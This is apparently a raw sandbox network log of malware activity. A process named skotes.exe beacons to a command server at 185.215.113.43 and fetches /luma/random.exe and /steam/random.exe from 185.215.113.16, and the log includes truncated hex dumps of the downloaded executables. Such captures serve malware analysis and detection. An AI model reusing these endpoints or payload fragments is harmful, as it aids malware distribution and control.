Nov 23, 2024 13:28:10.585381985 CET	1236	IN	Data Raw: 39 c5 d4 e1 3c 63 c3 7d 96 5c 6c 7a dc a3 58 f2 a0 cb b2 42 65 66 ff 19 3c 1a 7a 6b cb 8a 11 69 aa 39 b3 01 c3 61 4e 4e a7 3c 9a c5 b0 59 40 31 6c ff aa ea a1 cf cf f1 a9 51 2b 36 6f bf 7b 89 7c 8b 4d 64 10 86 ce 0a 06 3f 09 55 1c af 7b 6b d6 35 Data Ascii: 9<c}\lzXBef<zki9aNN<Y@1lQ+6o{\|Md?U{k5Nt+uZ55xk!'03.xlsp+n+`_K'Cjb"d4Z=</;;-T=e,l.1_:b\Tu*l\LFnCmH/8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49755	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:28:20.202730894 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 33 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008432001&unit=246122658369
Nov 23, 2024 13:28:21.535819054 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:28:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49758	34.116.198.130	80	5196	C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:28:20.838767052 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 23, 2024 13:28:22.365190983 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sat, 23 Nov 2024 12:28:22 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 23, 2024 13:28:22.365248919 CET	184	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[
Nov 23, 2024 13:28:22.387644053 CET	1236	IN	Data Raw: 59 c2 c8 8d f5 61 e9 1e 7b 88 59 11 76 46 7b 6d 83 b8 32 15 b7 2a 62 09 67 ee c0 c5 33 03 fb 04 a6 7c b9 d6 38 cf c3 1c ce f2 49 de 42 8b d6 6c c4 14 6d ac f2 e1 0b 93 0d 26 12 b1 d9 54 a2 43 e2 5a ea 02 09 3f 92 9b 39 dd 18 aa 50 7b c9 fe 32 68 Data Ascii: Ya{YvF{m2bg3\|8IBlm&TCZ?9P{2hUPRb'aox!CoG3_]efWRl!JUXY=lKcg$UM)=2uB*s>$)Zc&Y/g\Q=G%\|I=tl
Nov 23, 2024 13:28:22.387711048 CET	1236	IN	Data Raw: 02 53 a0 df c3 ea b2 13 46 7b 29 4f 66 93 b7 be fb b4 a1 98 0f 2a 49 ad 81 22 fa 26 02 ff 6c fa 36 b1 7e d1 2f 59 b8 0b 14 c3 4c b2 b9 03 6d 04 cc 1a ae 23 d5 03 4b be c3 c9 3e e3 86 85 eb ac 85 d3 44 f9 54 c4 ad 30 57 f6 26 a8 1f 0e 70 3d c7 f7 Data Ascii: SF{)OfI"&l6~/YLm#K>DT0W&p=iU/zbt%:V-h\3Ad^V?P#BydYCH(4\bq>`hRc~0fJd"E--)6i2 {C<DkomA+H
Nov 23, 2024 13:28:22.387722969 CET	1236	IN	Data Raw: 1d 04 f6 17 3d c2 45 ca 92 2f 5a 7f ee c1 37 d0 e8 8d 8a 14 68 28 7d 5a 44 04 30 c9 45 88 5a 45 e1 5f aa bc 98 45 07 b1 50 e3 d0 8d 3d 35 3e fc 1a f8 4a 35 b2 01 42 c0 e0 91 bb 9b 19 60 5c 8f 21 4f 84 8a ac 41 2c 1c 96 e9 2d d1 12 6f 62 59 96 03 Data Ascii: =E/Z7h(}ZD0EZE_EP=5>J5B`\!OA,-obYCoV'3SvRDH)<:R::;blX?),lD#4Bs+]?R,j76J'\[sRKI&(Cs>HXrJi~;0/m
Nov 23, 2024 13:28:22.387768984 CET	1236	IN	Data Raw: 98 99 9e 14 7d f4 53 74 5b 84 b1 04 49 f8 29 95 7e aa d1 d7 88 5e f9 ff 54 54 a4 50 59 f1 a6 dc 54 30 f2 fa b2 f9 a2 e1 8f 88 d9 63 12 d2 51 97 0e 59 30 3e 7e 61 9c 30 28 99 56 f1 4e 81 fb 0e c8 bc d9 fa 0e be 38 52 59 9c 20 75 d2 22 9c c5 fd b9 Data Ascii: }St[I)~^TTPYT0cQY0>~a0(VN8RY u"o,f>RB&VU_1wKw\OobTZ1pp-)s\d+]$QQnyl{yoW-=S!H@;3Z%W}EqcAFH
Nov 23, 2024 13:28:22.387783051 CET	1236	IN	Data Raw: cd 81 3b bc 8e 64 ea fa 8a b3 99 66 57 51 26 10 0a b9 73 f6 c3 7f 64 d5 91 62 6e fc 26 c2 22 9c 39 2a 0d c1 cd 57 ff c6 1f ae 4e 17 e3 c0 69 96 a9 34 5f 40 3d ff 82 d2 e7 7d 74 e1 db 3c dc cd 23 dc 85 3d ce 7e e9 4c fb 34 04 c6 39 55 00 c1 f3 6f Data Ascii: ;dfWQ&sdbn&"9WNi4_@=}t<#=~L49Uo__3xV`yI#@R}ueqhuewH{I:aniQW]\|H`v/w~C[=w#:YR2)32*t(R3`0kdwNC
Nov 23, 2024 13:28:22.387809038 CET	1236	IN	Data Raw: 31 b9 3f 02 5a 95 2c 30 1f d9 e4 3f 3e 3e 44 4d d4 1c 69 fc ed 29 f7 c4 cb de ae 56 aa b4 e7 0a df 1f cd eb 48 fd 0d a0 87 75 e5 6d db d3 88 b0 cd ae 67 41 00 72 5d ff d5 65 63 00 6b ef 09 4a ef 21 3d e3 37 3d 14 02 69 98 33 b6 32 1f 5c ec 41 47 Data Ascii: 1?Z,0?>>DMi)VHumgAr]eckJ!=7=i32\AG3,$^2eX:CBb7v ^Moiw3 aa!L!o*a6p?TqH~5i{1X8^#utqKZiDZ_`c~K[2"
Nov 23, 2024 13:28:22.387823105 CET	1236	IN	Data Raw: 75 08 70 ad a6 b7 c2 fb 74 c2 72 2d ea 1c d0 0b 09 3a 48 a1 37 83 dd 92 be 90 f8 00 ef 55 37 8b 85 de cd 89 77 8b 77 65 42 8e 4b 08 49 4f e5 17 c5 b2 77 6f a0 92 15 a4 23 4c 0a 85 99 94 9a ee e3 95 56 77 6c 5d b9 23 06 09 1c 7a 3c 07 72 17 c2 7a Data Ascii: uptr-:H7U7wweBKIOwo#LVwl]#z<rzzlIo/DV+LEgy%u[ddOkp[-oj/d3O5z$2_Ckn!M"\|s=~S@)5(@P~T+zR9_Qx[uxjV
Nov 23, 2024 13:28:22.387882948 CET	1236	IN	Data Raw: d6 65 11 fa 94 8c 2d f2 7b cc 93 d8 10 f4 99 8e c0 52 50 63 2d d9 cb 37 63 cb 10 db bb b2 c2 a9 fa cf 13 c2 22 66 ea da c2 da 92 e6 d7 08 bd 48 60 3f df be cb ba 6f c0 ca 81 c9 96 81 17 9c b6 bd 7d 1c a5 75 78 b4 45 a9 c6 11 fd 3c 44 15 4f 5e 59 Data Ascii: e-{RPc-7c"fH`?o}uxE<DO^YJ10g]9+/FruZ"5hMn-'`*:C[)qR@ -dj8I!{nt%VVZ3C!Pn;[3p%!V
Nov 23, 2024 13:28:22.484860897 CET	1236	IN	Data Raw: 42 6c 48 e5 be 15 b1 a6 48 f6 9b ef 7a 70 38 28 b6 3e 4b 1c 0d 87 aa 56 1a 26 97 c3 cf e8 5f 46 b5 03 a3 82 d2 c8 d1 6b 2b d7 d9 6a 95 16 f3 8e 30 1e 21 c6 5c 26 d9 e1 02 59 d6 5a 88 fc 21 bc 6a 50 3d 20 ca dd bd 3e 4b bb 5a 21 bb b6 e9 ca cf 38 Data Ascii: BlHHzp8(>KV&_Fk+j0!\&YZ!jP= >KZ!8(V?AzgJ[;D5i+VY6@Ox'RVx\|JPdhlAO(&XyHv;q"'7%DvRXVi?_81H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49765	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:28:23.279351950 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:28:24.655638933 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:28:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49771	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:28:26.278942108 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:28:27.677984953 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:28:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 38 34 33 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 34 33 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 34 33 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 34 33 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1008433001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008434001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008435001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008436001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49777	185.215.113.16	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:28:27.804786921 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 13:28:29.196845055 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:28:28 GMT Content-Type: application/octet-stream Content-Length: 1852416 Last-Modified: Sat, 23 Nov 2024 12:18:19 GMT Connection: keep-alive ETag: "6741c80b-1c4400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 70 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 49 00 00 04 00 00 81 39 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?gpI@I9@\pp `b@.rsrcpr@.idata t@ *v@prornizb/x@bkfftptq`I@.taggant0pI""@
Nov 23, 2024 13:28:29.196881056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 13:28:29.197007895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 13:28:29.197042942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 13:28:29.197077990 CET	1236	IN	Data Raw: e9 76 80 50 c6 f0 88 d0 8d c8 93 79 21 ef cb 05 26 fe 6f 03 63 01 1e 86 cd 8b 9d 1c 66 49 fc 85 b6 b0 83 09 de 0e 6d 1c 91 86 e7 99 e1 77 17 4f f0 66 87 51 b0 c6 33 a2 0a 53 bf da 83 2d 5c 92 90 93 0c fa 65 56 94 fc 7e 5b b2 bb 77 0d 02 17 b6 1f Data Ascii: vPy!&ocfImwOfQ3S-\eV~[wo[D%pN U-f(jd/*I/pIey$[%1%LkZnNZ7I\|VDnJoD}mg
Nov 23, 2024 13:28:29.197112083 CET	1236	IN	Data Raw: 31 6d ae fd cd 23 aa f1 25 59 81 1d f5 33 f2 60 a1 2a aa e3 7f 11 58 61 4e cc 99 0d e8 4e 3b e4 e0 cf 4e bf 8d b6 5f 07 18 47 53 5e f0 0a 59 9d c4 0e 1e 5c 2c 27 2a 63 54 af 52 fe 97 69 84 f3 60 b8 b7 fa 09 73 18 eb 40 17 3c 45 87 7a 95 43 7e 67 Data Ascii: 1m#%Y3`XaNN;N_GS^Y\,'cTRi`s@<EzC~ghXCQD)\>q,ZQ4}agoMdRlA^=x\|$'zsJ95./.~g+{:
Nov 23, 2024 13:28:29.197165012 CET	1236	IN	Data Raw: 83 6d d7 85 03 b6 3e 12 2c 6d 90 0e f9 8c 71 1a 08 49 26 c0 52 3f dc e5 9d 10 f8 aa ea fa 7d 56 fb cf 01 d2 c1 5d e4 29 96 86 42 1a e8 82 5b 8a 15 a2 67 2a 93 86 8d da 27 cc 5c 1f dd 36 85 ff 8d 13 5f 55 a7 39 c8 0c c0 0f a1 1b 7e df cc ad 8a f7 Data Ascii: m>,mqI&R?}V])B[g*'\6_U9~c[!+G~tL^5e3\-%i;=(7#@$Ju%'(c.N .ju/(5OXZf$`#.l`"$Z
Nov 23, 2024 13:28:29.197200060 CET	1236	IN	Data Raw: 3a c1 98 e6 b0 0f 52 97 cb ae b7 2f cb 9b d9 7e 8e b4 00 c4 70 19 db 45 b8 ca 97 e4 ee 81 87 2d 8c 8e 3c 76 8d 86 4e d6 30 1d 0f 8a 84 9f 2b 96 64 1a 4e 0a 5c a2 8a f9 2e c0 76 7a 3d ef c3 33 8a 15 0f 8d b6 26 70 99 d2 19 66 7c 85 cf 8a 29 29 95 Data Ascii: :R/~pE-<vN0+dN\.vz=3&pf\|))g`lYo3T[^@`o=wbJl~WQ8&kq0&Ha^Hl0['/`"#Rv3>DeNB
Nov 23, 2024 13:28:29.197233915 CET	1236	IN	Data Raw: 7f 3e 2b 92 f0 b6 d4 0d c6 ac 64 4e 0d 0b 24 f1 9d 18 de c8 1d a4 64 a4 d5 6d ce 46 29 1a 70 00 af 85 0f 4d 3e aa 87 25 3f 8b 26 9b b4 03 03 8e 56 c6 cb d6 c7 0a 62 c6 8e 16 7a 07 30 4b 98 70 02 59 13 16 83 07 68 9a b2 f9 d1 96 9f 7a 90 f5 b9 b7 Data Ascii: >+dN$dmF)pM>%?&Vbz0KpYhz #v(he FsJ7Gb5EB7$,yZbud$xWn{aQ3 M&BV0MRZ\?]HS
Nov 23, 2024 13:28:29.197268963 CET	1236	IN	Data Raw: 8d 0a c2 f5 cf 1f 97 29 59 0a f1 9a d3 77 81 91 78 0d 38 58 a7 0d 58 37 6b ca 7f 92 24 3e 6c 86 3c 9c bb 21 c3 24 d5 ac db 9d 6f 1b 11 b3 08 11 6f 17 9b 91 6c c7 c9 e2 76 9e 89 39 27 eb 1b 2e 8b 8a 5c 99 94 c1 b3 cf f8 4e b5 c7 69 37 b9 81 39 cb Data Ascii: )Ywx8XX7k$>l<!$oolv9'.\Ni79;{I&VK,/~]-.U\kh@Aq)os~TOdb^,2JA{v[0?0lNhas%S+eE
Nov 23, 2024 13:28:29.320343018 CET	1236	IN	Data Raw: 40 47 88 5d 28 dd f5 2f 95 1b 5e 22 67 86 6e 1d 7f af c4 c5 cd ff c6 51 ae be 4d df f5 16 1d 2c 3b 71 17 7f 73 4c a3 05 1c 65 55 08 b4 06 f9 56 a8 48 d1 01 b0 8f 40 e7 dc 64 df 94 43 c7 c7 28 af b6 44 ff ed 7c cb 9c 98 f2 9c 80 a9 32 7c 30 a1 1d Data Ascii: @G](/^"gnQM,;qsLeUVH@dC(D\|2\|0~#nYP6L{l}JIJW!gy~a&d[<]9c?]"U"ndwV&gIV'8Xu#_=]r)2;'\eRu"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49793	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:28:34.812933922 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008433001&unit=246122658369
Nov 23, 2024 13:28:36.212274075 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:28:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49799	185.215.113.16	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:28:36.351605892 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 13:28:37.796458006 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:28:37 GMT Content-Type: application/octet-stream Content-Length: 1827328 Last-Modified: Sat, 23 Nov 2024 12:18:26 GMT Connection: keep-alive ETag: "6741c812-1be200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 70 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 6a 00 00 04 00 00 63 bd [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$pj@jc@M$a$$ $b@.rsrc$r@.idata $t@ P+$v@eertlowePPDx@jeayyurl`j@.taggant0pj"@
Nov 23, 2024 13:28:37.796514988 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 13:28:37.796554089 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 13:28:37.796606064 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 13:28:37.796657085 CET	1236	IN	Data Raw: 6d 4d 81 3e 23 28 d6 b7 5a dc e9 b0 e3 b5 ce b5 6d ae e7 d8 9f 93 8d 17 83 b4 2a da bb 4d dd a1 92 2d 0c ba dc 88 3a d7 1c be aa 6a 6c b1 14 02 3b 57 ed 89 82 b0 90 3f 7a ad e6 c5 cc bd 20 47 fb 7a 89 7a f3 96 25 c5 25 40 f2 d8 01 d7 fc 20 7b a5 Data Ascii: mM>#(ZmM-:jl;W?z Gzz%%@ {Y~ZWcjpuem'u<MB\=k ).@RVsdn\|{X?qiIM Wiff&Bc#m@aXx{` SuyagNR:kM
